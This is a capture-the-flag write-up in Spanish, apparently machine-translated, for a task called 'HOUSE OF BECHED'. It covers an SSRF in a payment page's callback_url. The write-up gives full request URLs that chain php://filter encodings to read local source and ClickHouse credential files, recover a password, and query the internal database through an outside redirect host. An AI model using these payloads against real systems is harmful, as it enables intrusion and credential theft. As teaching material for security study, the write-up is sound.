La tarea es una página de pago, donde el único parámetro interesante era callback_url.

Indicamos su sitio y captamos la solicitud:
http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id=
POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0
Una respuesta HTTP se muestra solo si el sitio devuelve una cadena alfanumérica. Ejemplos de respuestas:
{"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."}
Intentamos como datos callback_url :, probar y comprender que, muy probablemente, esto es PHP.
http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id=
Usamos php: // filter para leer archivos locales y codificar la respuesta usando convert.base64-encode para que la respuesta coincida con alfanuméricos. Debido a los caracteres +, / y =, a veces es necesario combinar varias llamadas de base64 para mostrar una respuesta.
http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php
<?php error_reporting(0); $config = [ 'host' => 'localhost', 'port'
La salida de respuesta está limitada a 200 bytes, pero de los fragmentos aprendemos sobre la disponibilidad de la base de datos en localhost. Ordenamos los puertos a través de callback_url y encontramos un nuevo artículo sobre inyección en ClickHouse en el blog DeteAct , que corresponde al extraño nombre de la tarea "HOUSE OF BECHED".

ClickHouse tiene una interfaz HTTP que le permite realizar solicitudes arbitrarias, lo cual es muy conveniente de usar en SSRF.
Leemos la documentación, intentamos obtener una cuenta de la configuración.
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
<?xml version="1.0"?> <yandex> <profiles>
Nuevamente, la limitación de la salida interfiere y, a juzgar por el archivo estándar, el campo deseado está extremadamente lejos.

Corta el exceso usando el filtro string.strip_tags.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
Pero la longitud de salida aún no es suficiente hasta que se recibe la contraseña. Agregue un filtro de compresión zlib.deflate.
http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id=
Y lea localmente en orden inverso:
print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv'));
Después de recibir la contraseña, podemos enviar solicitudes de ClickHouse de la siguiente manera:
http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx'
Pero dado que inicialmente enviamos POST, necesitamos evitar esto usando la redirección. Y la solicitud final resultó así (en esta etapa era muy tonto, porque debido a la gran anidación del procesamiento de los parámetros, codifiqué incorrectamente caracteres especiales y no pude ejecutar la solicitud)
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=
Bueno, entonces solo obtenga los datos de la base de datos:
select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn
http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id=